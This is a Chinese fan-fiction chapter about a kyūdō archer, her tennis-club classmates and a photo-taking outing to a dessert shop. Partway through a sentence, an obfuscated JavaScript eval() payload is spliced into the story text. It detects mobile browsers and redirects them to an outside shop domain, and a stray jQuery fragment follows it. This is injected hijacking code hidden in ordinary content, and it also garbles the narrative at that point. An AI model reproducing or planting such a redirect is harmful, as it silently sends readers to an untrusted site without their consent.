星期二早晨，小町走进教室时，刻意没有立刻向四周看。
她先把书包放到桌边，再拉开椅子，低头确认桌面上没有被人误放的练习册。整个过程十分自然。
至少她自己这样认为。
“早上好。”
藤崎趴在前排补眠，只从手臂间抬起一只手。水野正在窗边扎头发，佐仓的位置空着，桌上却已经放了书，应该是去了图书馆。
靠窗的后排也空着。
小町的视线在那里停了不到一秒，立刻收回来。
“在找什么？”
声音从后门传来。
她回过头。
忍足站在门口，网球包斜背在肩后。刚结束晨练，衬衫领口被汗沾湿了一小片，眼镜也像是刚擦过，镜片上没有平时细小的灰尘。
向日跟在他后面，一边走一边抱怨今天的发球训练。他的头发还没完全擦干，发梢把搭在肩上的毛巾弄湿了一角。
“没有找东西。”小町说。
忍足走到座位旁，将网球包靠在墙边。
“可是你刚才看了我的桌子。”
“确认上面有没有向日君的作业。”
“为什么是我的作业？”向日从后面探过来。
“因为你经常放错地方。”
“我只放在忍足这里。”
“所以我说得没错。”
向日一时找不到可以反驳的地方，转头去问忍足到底站在哪一边。
忍足没有回答。
他拉开椅子坐下，取出下一节课要用的书。书页翻开以前，他隔着镜片看了小町一眼，唇角很轻地动了一下。
小町低头整理笔袋。
她忽然有点后悔，昨天为什么要让他看那张照片。
平时走进教室会先看一圈。
谁在说话，谁动了她的东西，向日是不是又把作业放到了别人桌上。
忍足说得太具体，以至于从今天早晨开始，她每一次转动视线，都像是在替他补充证据。
晨间的预备铃响起，佐仓抱着两本书从前门回来。藤崎终于从桌面上抬起脸，额头上留下了一条校服袖口的压痕。
“对了。”
她转向小町，睡意还没完全消失，声音倒已经恢复精神。
“宫下学姐回复了。站台合照可以放进校刊，其他人也都同意。”
“北川老师呢？”
“他说不影响比赛复盘就可以。”
“照片为什么会影响复盘？”
“可能是怕我在旁边加上‘虽败犹荣’之类的标题。”
小町把古典文学课本放到桌面：“你有这个打算？”
“曾经有。”
“现在呢？”
“被宫下学姐拒绝了。”
藤崎从文件夹里抽出一张版面草稿。
合照被放在右下角，没有占据太大的位置。照片下面只有比赛日期、地点，以及冰帝女子弓道部进入决胜轮的结果。
很普通。
也很好。
“这样可以吗？”藤崎问。
小町看了一遍：“可以。”
“真的不用补一句话？比如重新出发，或者下一支箭——”
“日期和地点就够了。”
佐仓把书放回桌上，赞同地点头。
“照片已经有内容了。”
“你们两个很适合一起负责最没有宣传效果的版面。”
“谢谢。”
“不是夸奖。”
高桥老师已经走到讲台前，藤崎只好收起草稿。她转回去以前，又把照片从透明文件夹里抽出一点，小声嘀咕标题明明很重要。
上午的课程并没有给小町太多时间思考照片。
第二节的英文进行了临时听写，第三节化学老师又宣布下周开始分组实验。直到午休，藤崎重新把几张桌子拼到一起，这件事才再次被提起。
向日拿着自己的便当坐下来时，第一眼便看见了那张站台合照。
“这个要放校刊？”
“嗯。”藤崎说，“已经获得弓道部全员许可。”
“为什么大家都没看镜头？”
“这是纪实摄影。”
“听起来像没有拍好以后的解释。”
藤崎将照片翻了过去。
“你的意见不在许可范围内。”
向日试图抢回来，被水野用便当盒挡住。两个人隔着桌角争了几次，最后谁也没有拿到照片，反而险些撞翻佐仓的味噌汤。
小町及时把汤碗挪远。
忍足在她旁边坐下。他今天带的是三明治，透明包装上贴着校内餐厅的标签，大概是晨练结束以后顺手买的。
他没有参与照片争夺，只看了一眼藤崎的版面。
“最后写的是团体成绩？”
“当然。”藤崎把照片重新压进文件夹，“这是弓道部比赛报道，又不是个人专栏。”
忍足撕开三明治包装，动作停了一下。
“那天我说，每个人把自己的四支箭射好，结果就会不一样。”
小町抬起眼。
藤崎与水野还在教训向日不要隔着别人的午餐抢东西，没人留意他们这边。
“嗯。”她说。
“后来想了一下，好像确实说得太简单了。”
“你回去以后还在想？”
问题出口，小町才觉得这句话听起来有些奇怪。
忍足也像是没想到她会先问这个，手里还拿着没有拆完的包装。
“稍微想了一下。”
忍足终于把包装拆开。
“如果是双打，岳人只顾着把自己碰到的球打好，应该也不够。”
桌子另一端的向日立刻转过头。
“为什么拿我举例？”
“因为你就在这里。”
“那你怎么不拿自己举例？”
“我不会只顾自己。”
“你有时候根本不顾我。”
“那是因为你跑得太快。”
“和速度没关系。”
向日果然被成功拖进了另一个话题。他开始列举忍足在双打中擅自改变站位的次数，忍足偶尔回应一句，大部分时间仍然在吃三明治。
小町听了一会儿，用筷子轻轻敲了下便当盒边缘。
“所以你想说什么？”
忍足看回来。
“还没有想好。”
忍足把剩下半块三明治放回盒中，视线越过桌面，落到那张被藤崎压在手边的照片上。
“团体赛里，一个人射出去的箭，也会影响后面的人吧？”
“会。”
“不是直接改变结果。是……气氛，节奏，前面留下的分数，还有其他东西。”
他找词找得并不顺利。向日还在旁边补充双打的轮转完全不是那么回事，被水野塞了一颗小番茄，暂时堵住了嘴。
小町看着忍足。
“那天宫下学姐射最后一箭以前，我们已经完成了十九支。”她说，“有人命中，有人脱靶。她站起来的时候，那些结果都已经在那里了。”
“所以你不愿意只看自己四射皆中。”
“至少比赛刚结束的时候不想。”
“现在呢？”
小町的筷子停在便当上方。
昨天训练时，她站在最后的位置，前面四个人的圆叉一个接一个落下来。她还是会计算，也仍然会把那些结果一起塞进自己的箭里。
可宫下说，失手也不会把前面的成绩倒扣回去。
照片背后那两个被圈出的叉，现在还夹在她的记录本里。
“现在……”小町慢慢说，“可以承认那四支射得不错。”
“那确实值得庆祝。”
“不要现在鼓掌。”
忍足刚刚抬起一点的手停在半空。
“被发现了。”
小町没忍住笑了一声。
藤崎在对面抬起头：“你们在说什么？”
“弓道。”小町说。
“为什么说弓道会笑？”
“忍足君准备鼓掌。”
“我只是活动手腕。”
“你刚才明明——”
上课预备铃在这时响起。
藤崎只好暂时放弃追问。众人匆忙拆开拼在一起的桌子，向日嘴里还含着那颗小番茄，被忍足连人带椅子一起推回了后排。
小町将便当盒收好。
转身以前，她看见忍足把吃完的包装折成很小的一块，丢进垃圾袋。
他没有再提团体赛。
可这一次，小町知道，他已经听懂了一部分。
放学后的弓道训练仍然使用原来的立顺。
北川维持原来的立顺。记录板被放回射场右侧，纸上提前画好了五个人的姓名与二十个空格。
“今天不测试吗？”野泽问。
“每天更换立顺，就无法判断问题来自位置还是状态。”北川说。
“听起来很科学。”
“本来就应该科学。”
“可是弓道不是——”
野泽还没问完，仓桥已经从旁边把橡皮弓递给她。
“先热身。”
野泽抱着橡皮弓站到练习区，小声说仓桥最近越来越像北川。高濑经过她身后，认真评价两个人的发型没有相似之处。
训练开始前，松田拿着昨天洗出的照片，在记录席旁一张张分装。
小町从她面前经过时，松田忽然抬起头。
“学姐，那张照片被夸了吗？”
“哪一张？”
“穿弓道服的。”
小町弯腰调整足袋边缘。
“为什么要被夸？”
“因为很好看。”
“你已经说过了。”
“我说不算。”
“那谁说才算？”
松田被问住。
小町站直身体，拿起自己的弓。
松田的目光在她脸上停了一会儿，忽然露出像是发现了什么的表情。
“同班同学？”
“真帆她们也说了。”
“男同学呢？”
小町伸手按住她又睡翘的一缕头发。
“今天的记录表还没写日期。”
松田立刻转身去找笔。
小町走进射场。
第一立十六射，她十二中。
第三轮的最后一箭偏出以后，她还是下意识看向记录板。十二个圆、三个叉，最后一格刚刚被添上第四个叉。
数字没有比过去变得更模糊。
她仍然一眼便能算出中率，也知道这组成绩在正选五人中排在什么位置。
只是下一支箭还没有搭上。
小町重新收回视线。
最后四射，三中。
训练结束时，天色已经暗了。
梅雨季的云层压得很低，晚霞只从教学楼后露出很窄的一道。运动社团陆续结束活动，校门附近全是换回制服、背着球袋或乐器盒的学生。
藤崎在班级聊天群里发来甜品店的定位。
【比赛结束后的慰劳会。】
水野很快回复：
【为什么隔了两天？】
【因为今天季节限定最后一天。】
【这才是真正理由吧。】
【两个理由可以同时成立。】
佐仓发了一张已经到店的照片。桌上放着六杯水，证明她不仅提前占好了位置，甚至擅自确认了人数。
小町背着弓袋走到校门时，水野刚从女子网球部出来。两个人在鞋柜旁等了几分钟，藤崎才抱着相机包从旧校舍方向跑来。
“还差两个人。”她说。
“奈奈已经到了。”水野提醒。
“我说的是男生。”
小町顺着她的视线看过去。
忍足与向日正从网球场方向过来。两个人都换回了制服，网球包还背在肩上。向日走得很快，隔着一段距离便问店里的蜜瓜苏打是不是真的不限量加冰淇淋。
“不是不限量。”藤崎说，“第二份半价。”
“那不是差不多吗？”
“差很多。”
“反正我要两份。”
“先说好，各自结账。”
几个人一起向车站走去。
弓袋与网球包并排出现在人行道上，引来几个刚放学的一年级回头。向日看了一眼小町高出肩头很长一截的弓，问背着会不会撞到树。
“只会撞到走得太近的人。”
向日立刻往旁边让了一步。
忍足走在另一侧，低头看了眼弓袋与她肩膀接触的位置。
“很重？”
“已经习惯了。”
“如果累了可以——”
小町转头看他。
忍足的话停在一半，大概也意识到主动替弓道选手背弓听起来有些多余。
“可以什么？”
“可以走慢一点。”
“这条路只有七分钟。”
“那看来不需要。”
他把后半句收了回去，没有坚持表现体贴。
甜品店在车站旁边的商场二楼。
佐仓占到的是靠窗的长桌。透明玻璃外能看见车站站台，列车每隔几分钟从建筑间穿过去，把桌面上的影子一并带走。
藤崎把相机包放下，从里面取出的却不是平时使用的数码相机。
“拍立得？”
水野拿起来看了一眼。
“摄影部借的。”藤崎说，“剩六张相纸。今天必须拍完，不然明天交还的时候很难解释为什么少了一盒、又多出半盒。”
“为什么一定要解释？”向日已经翻开菜单，“直接把剩下的还回去。”
“摄影部的库存表以整盒为单位。”
“那是他们的表格有问题。”
佐仓抬起眼：“你不写作业的时候，也认为练习册的页数有问题。”
向日决定不再参与摄影部管理。
六个人点了两份季节限定水果冰沙、三杯奶油苏打和一份布丁芭菲。小町原本只要冰茶，等服务生走后，又在平板上追加了一份草莓奶油蛋糕。
忍足坐在她对面，看见以后扬了下眉。
“慰劳会只喝冰茶？”
“刚才没有翻到蛋糕那一页。”
“我还以为千岛准备改变饮食习惯。”
“为什么要改变？”
“因为比赛结束了。”
“比赛结束和蛋糕有什么关系？”
“没有关系。”
“那你的推测很不合理。”
忍足笑着低下头，把自己的咖啡从向日手边移开。向日正在研究如何将第二球冰淇淋完整地放进蜜瓜苏打，完全没有注意杯沿已经开始向外冒泡。
水野最先发现。
“岳人，杯子。”
“什么？”
绿色汽水沿玻璃杯壁漫出来。
向日慌忙去拿纸巾，手肘又碰到藤崎刚摆好的拍立得。藤崎发出一声短促的惊叫，小町伸手扶住相机，佐仓则十分冷静地把自己的书和手机一起搬到隔壁桌角。
桌面乱成一团。
忍足抽出纸巾按住杯底，才没有让汽水流到小町这边。
“第二份半价的后果。”他说。
“和价格没有关系。”向日忙着抢救冰淇淋，“是这个杯子太小。”
“你把两份放在同一个杯子里，当然会小。”
“分开吃就没有意义了。”
“原来还有意义。”
水野用纸巾擦着桌子，笑得手都在抖。
藤崎确认拍立得没有进水，立刻举起来，对准仍在与冰淇淋作斗争的向日。
快门响了一声。
相纸从机器上方缓慢吐出来。
“你拍了什么？”向日抬头。
“事故现场。”
“删掉。”
“拍立得不能删。”
“那你为什么用它？”
“就是为了不能删。”
藤崎捏住相纸边缘，得意地放到桌面上显影。
第一张照片很快有了模糊的轮廓。
向日一只手拿着勺子，另一只手护住蜜瓜苏打，脸上的表情像在进行一场比分落后的比赛。水野低头擦桌子，只拍到发顶。小町的手还扶在相机原来放置的位置，忍足则从对面伸过来，按住正要流向她袖口的汽水。
“拍得不错。”佐仓说。
“哪里不错？”向日问。
“事故原因和结果都在画面里。”
藤崎满意地将照片收好。
剩下五张相纸很快有了安排。
一张拍六个人的合照，一张给水野和向日，证明两支网球部并非只有训练时才会和平相处；一张拍藤崎与佐仓，另外两张暂时保留。
合照由服务生帮忙。
六个人在靠窗的长桌边挤到一起。小町把弓袋靠在墙角，坐到藤崎旁边。忍足原本在她对面，被向日以“你比较高，站后面”为理由拉到了同一侧。
他站在小町身后。
距离不算近，衬衫袖口却在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842512|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
俯身时轻轻擦过她的头发。
小町下意识抬头。
“怎么了？”忍足问。
“你的袖子。”
“碰到了？”
“一点。”
忍足向后退了半步。
服务生已经举起相机，藤崎让所有人看前面。向日还在试图把自己的蜜瓜苏打也放进画面，被水野强行按住杯子。
快门亮起。
相纸吐出来以后，几个人立刻围过去。
小町站得慢了一点，只能从忍足肩侧看。照片尚未完全显影，六个人的轮廓像被罩在浅灰色的雾里。
“不要甩。”藤崎制止向日，“放着就会出来。”
小町低头看着照片。
画面渐渐变得清楚。藤崎笑得很开心，佐仓还维持着面对镜头时略显认真的表情，水野正在阻止向日举起那杯过于醒目的绿色汽水。
她自己坐在前面。
忍足站在她身后，视线却没有看向镜头。
拍摄的瞬间，小町正好因为向日的动作侧过一点脸。忍足的目光落在她发顶附近，与那只即将撞上她肩膀的玻璃杯重叠在一起。照片没有留下更多解释。
位置并不明显。
没有人注意。
小町只看了一眼，便把照片递给藤崎。
甜品陆续送上来。
草莓奶油蛋糕比菜单照片小一些，味道倒没有缩水。小町切下最上面的草莓，刚放进嘴里，向日便因为藤崎拒绝销毁事故照片，再次伸手去抢。
藤崎举着照片从座位上逃开。
水野试图拦人，反而被向日绕到另一边。佐仓将布丁芭菲端离危险区域，动作熟练得像是早已预见这场混乱。
小町嘴里的草莓还没咽下去，已经笑得肩膀发抖。
“他们到底为什么每次都要跑？”她问。
“可能坐着解决不了问题。”忍足说。
他不知什么时候拿到了拍立得，正低头确认剩余相纸。
小町抬手指向相机。
“不要浪费。”
“还剩两张。”
“所以更不能——”
快门声响了。
小町脸上的笑还没有收住。
她抬起脸：“忍足君。”
“嗯。”
“你刚才拍了？”
“好像是。”
“相机不会自己按下去。”
“那就是拍了。”
相纸缓慢吐出来。
小町伸手去拿，忍足却先用两根手指捏住边缘，抬高了一点。
“还没显影。”
“显影也不影响交给我。”
“万一没拍好？”
“那也应该由被拍的人确认。”
忍足没有立刻给她。
相纸最初只是灰白的一片。几秒以后，靠窗的光线与桌面轮廓先出现，随后是坐在画面中央的小町。
她没有看镜头。
浅金栗色的头发因为刚才的动作从肩后滑下来，左侧耳钉被窗外的光照亮。手里还拿着吃蛋糕的小叉子，唇角弯着，眼睛却望向画面以外正在争抢照片的几个人。
与昨天那张穿弓道服的照片完全不同。
这张照片只留下甜品店的长桌和她没收住的笑。她坐得很随意，一边肩膀还微微低着。
忍足看了一会儿。
小町伸出的手没有收回去。
“看完了吗？”
“差不多。”
“那给我。”
他终于把照片放进她掌心。
相纸还带着机器内部留下的一点温度。小町低头看了几秒。
“没有完全对焦。”
“因为有人一直在动。”
“摄影师应该提前判断。”
“第一次使用，要求不要太高。”
“藤崎第一次拍得比你清楚。”
“她有摄影部经验。”
小町把照片举到灯下。
人物边缘确实有一点模糊，却不难看。窗外驶过的列车在玻璃上留下一道浅色反光，连同当时乱成一团的桌面，都被收进了小小的白色边框里。
“为什么突然拍我？”她问。
忍足正在把拍立得放回桌上，听见以后，动作停了一下。
“正好拿着相机。”
“桌上还有很多人。”
“他们跑得太快。”
“奈奈没有跑。”
佐仓坐在两张桌子外，正在安静吃布丁，确实从头到尾没有动过。
忍足似乎没想到她会把所有人的位置都列出来。
“那就是……”他低头扶了下眼镜，“按快门的时候，先看见了你。”
这句话说完，他自己也安静了半秒。
小町望着他。
甜品店里依然很吵。藤崎终于从向日手里抢回事故照片，正在警告他继续伸手就把照片印进下一期校刊。水野笑得靠在桌沿，服务生从旁边经过，提醒她们不要影响其他客人。
没有人听见忍足说了什么。
小町低头看向照片。
“这个理由勉强可以接受。”
“只有勉强？”
“摄影技术扣分。”
忍足笑了一声。
“下次注意。”
藤崎恰好回到桌边。
“什么下次？”
“拍照。”小町回答。
“还剩最后一张。”藤崎拿起拍立得，“你们谁要？”
向日立刻要求重新拍一张可以正常看脸的单人照，水野则认为事故照片已经充分体现了他的个人特色。
最后一张相纸在两个人的争执中用掉了。
照片拍到了向日伸手抢相机的瞬间，脸仍然没有完全拍清。
离开甜品店时，天已经黑了。
商场外刚亮起招牌灯，地面还留着白天那场雨形成的水洼。六个人在车站入口分开，水野与向日仍在争论最后一张照片究竟归谁，藤崎坚持相机和全部底片都应该先由摄影部保管。
“拍立得没有底片。”佐仓提醒。
“那就由拍摄者保管。”
“最后一张是我按的。”向日说。
“相机是我借的。”
几个人一路争进检票口。
小町乘坐的线路在另一侧。她背着弓袋准备下楼时，忍足从后面叫住她。
“千岛。”
她回过头。
忍足站在自动售票机旁，手里拿着那张六人合照。藤崎大概忙着抢相机，忘记将它收回去了。
“这个。”
小町走回去接过。
照片已经完全显影。忍足站在她身后，确实没有看镜头。
“你当时在看什么？”她问。
“岳人的杯子。”
“真的？”
“快要碰到你的头发了。”
这个理由十分合理。
小町将合照与自己的单人照叠在一起。
忍足的视线落在上面。
“不是说没有对焦？”
“所以要保存证据。”
“准备投诉摄影师？”
“等摄影师技术进步以后进行比较。”
“那还需要再拍一张。”
小町抬起眼。
忍足抬手碰了一下眼镜，没再补充。
站台方向传来列车进站的提示音。
“我的车到了。”小町说。
“嗯。”
她转身走向检票口。
走出几步，又停下来。
“忍足君。”
“怎么？”
小町举起手中的照片。
“下次记得对焦。”
忍足愣了一下，随后笑起来。
“知道了。”
小町刷卡进站。
等她走下楼梯，藤崎已经站在车门边朝她挥手。水野替她扶住即将合拢的车门，向日则还在研究那张只拍清了半只手的最后相纸。
“你怎么这么慢？”藤崎问。
“小町手里是什么？”水野先看见了照片。
小町把两张相纸夹进弓道记录本，没有给她们抢走的机会。
“摄影事故。”
“给我看。”
“不要。”
“相机是我借的！”
“所以你可以看相机。”
车门在藤崎的抗议声中合上。
列车驶出站台。小町低头翻开记录本，两张照片夹在比赛记录的后一页，白色边缘从纸张上方露出很窄的一截。